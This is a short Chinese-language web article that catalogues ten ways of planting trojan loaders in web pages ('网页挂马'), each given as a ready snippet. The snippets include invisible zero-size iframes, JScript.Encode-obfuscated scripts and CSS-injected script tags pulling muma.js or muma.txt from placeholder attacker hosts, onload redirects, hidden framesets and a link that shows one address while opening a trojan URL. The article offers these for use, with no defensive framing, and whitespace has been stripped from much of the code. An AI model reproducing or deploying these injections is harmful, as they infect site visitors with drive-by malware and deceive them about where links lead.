网页挂马方式整理及详细介绍
网页挂马方式
一:框架挂马
<iframesrc=地址width=0height=0></iframe>
二:js文件挂马
首先将以下代码
document.write("<iframewidth='0'height='0'src='地址'></iframe>");
保存为xxx.js,
则JS挂马代码为
<scriptlanguage=javascriptsrc=xxx.js></script>
三:js变形加密
<SCRIPTlanguage="JScript.Encode"src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马
<bodyonload="window.location='地址';"></body>
五:隐蔽挂马
top.document.body.innerHTML=top.document.body.innerHTML+'\r\n<iframesrc=";
六:css中挂马
body{
background-image:url('javascript:document.write("<scriptsrc=http://www.XXX.net/muma.js></script>")')}
七:js挂马
<SCRIPTlanguage=javascript> window.open("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1"); </script>
八:图片伪装
<html> <iframesrc="网马地址"height=0width=0></iframe> <imgsrc="图片地址"></center> </html>
九:伪装调用:
<framesetrows="444,0"cols="*"> <framesrc="打开网页"framborder="no"scrolling="auto"noresizemarginwidth="0"margingheight="0"> <framesrc="网马地址"frameborder="no"scrolling="no"noresizemarginwidth="0"margingheight="0"> </frameset>
十:高级欺骗
<ahref="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)"onMouseOver="www_163_com();returntrue;">页面要显示的内容</a> <SCRIPTLanguage="JavaScript"> functionwww_163_com() { varurl="网马地址"; open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10"); } </SCRIPT>
感谢阅读,希望能帮助到大家,谢谢大家对本站的支持!